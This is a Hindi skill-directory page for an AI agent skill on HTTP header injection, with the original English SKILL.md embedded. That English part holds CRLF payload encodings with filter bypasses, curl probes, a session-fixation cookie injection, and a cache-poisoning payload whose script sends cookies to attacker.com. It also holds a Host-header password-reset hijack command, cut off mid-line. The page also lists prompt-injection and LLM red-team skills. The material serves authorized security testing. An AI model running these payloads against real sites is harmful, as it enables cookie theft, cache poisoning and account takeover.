header-injection
यह क्या करती है
यह स्किल समझाती है कि यूज़र का इनपुट HTTP हेडर में कैसे रखा जा सकता है और जवाबों या कैश को बदलने में कैसे इस्तेमाल हो सकता है। यह हेडर संभालने और रीसेट लिंक जाँचने वाले सुरक्षा परीक्षकों के लिए है।
कब इस्तेमाल करें
- ✓जब कोई साइट यूज़र का इनपुट redirect, cookie या डाउनलोड हेडर में कॉपी करती है और आप उसे टेस्ट करना चाहते हैं।
- ✓जब पासवर्ड रीसेट लिंक अनुरोध के host नाम से बना लगता है।
- ✓जब जाँचना हो कि कैश सिस्टम कुछ हेडर को असुरक्षित रूप से संभालते हैं या नहीं।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप जाँच सकते हैं कि एक अलग Host हेडर भेजकर मेरे पासवर्ड रीसेट ईमेल बदले जा सकते हैं?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट लाइन-ब्रेक अक्षरों और बदले हुए host या forwarding हेडर वाले अनुरोध भेजता है, फिर जाँचता है कि सर्वर नए हेडर लौटाता है या इनपुट से लिंक बनाता है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
HTTP Header Injection
Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.
Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.
Attack Surface
- Query/body/path parameters echoed into
Location,Set-Cookie,Content-Type,Content-Disposition,Link, or customX-*headers - Request headers re-reflected into responses:
Referer,User-Agent,X-Forwarded-Host, correlation IDs - Password-reset / account-recovery flows where the reset link is built from the
Hostheader - OAuth/SSO redirect flows where
Locationis derived from user input - CDN/reverse-proxy stacks where
X-Forwarded-HostorX-Forwarded-Protois echoed into canonical URLs Content-Disposition: attachment; filename=<user_input>file-download endpoints- Outbound email headers populated from user-supplied fields (To/From/Subject)
CR/LF Injection Payload Set
These are the characters and encodings to inject. Try each until one survives to the response header:
| Encoding | Value | Notes |
|---|---|---|
| URL bare LF | %0a |
Most permissive servers |
| URL bare CR | %0d |
Rarely effective alone |
| URL CRLF | %0d%0a |
Classic; many filters strip this |
| Double-encoded | %250d%250a |
Bypasses single-decode WAFs |
| Tab | %09 |
RFC 7230 permits tab in field values; some parsers fold into preceding header |
| Null byte | %00 |
Truncates value in some C-based parsers |
| Unicode LS/PS | %e2%80%a8 / %e2%80%a9 |
U+2028/U+2029; some intermediaries fold to LF |
| Overlong UTF-8 CR | %c0%8d |
Invalid per spec but accepted by some older parsers |
CRLF Response Splitting
Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.
Detection
TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
| grep -iE "^< (set-cookie|location|http)"
# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
| grep -i "x-injected"
Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.
Exploitation: Inject Arbitrary Cookie
PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"
If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.
Exploitation: Response Splitting for Cache Poisoning
# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"
Host Header Poisoning
The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.
Password Reset Link Hijacking
The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.
# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
-H "Host: attacker.com" \
-H "Content-Type: application/json" \
-d '{"email":"vi
अक्सर पूछे जाने वाले सवाल
स्किल cache poisoning का ज़िक्र क्यों करती है?
वह ध्यान दिलाती है कि कुछ हेडर जवाब बदलते हैं पर cache key का हिस्सा नहीं होते, इसलिए एक ख़राब जवाब दूसरे यूज़रों को दिया जा सकता है।
क्या यह डाउनलोड की फ़ाइल नाम कवर करती है?
हाँ, यह Content-Disposition हेडर को कवर करती है, जो डाउनलोड में फ़ाइल नाम के लिए इस्तेमाल होता है।
क्या यह केवल टेस्टिंग के लिए है?
यह सुरक्षा टेस्टिंग के लिए है, और स्किल कहती है कि इसे केवल उन सिस्टम पर इस्तेमाल करें जिनकी जाँच की अनुमति हो।
जानकारी
लेखक का मूल विवरण
HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14064
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।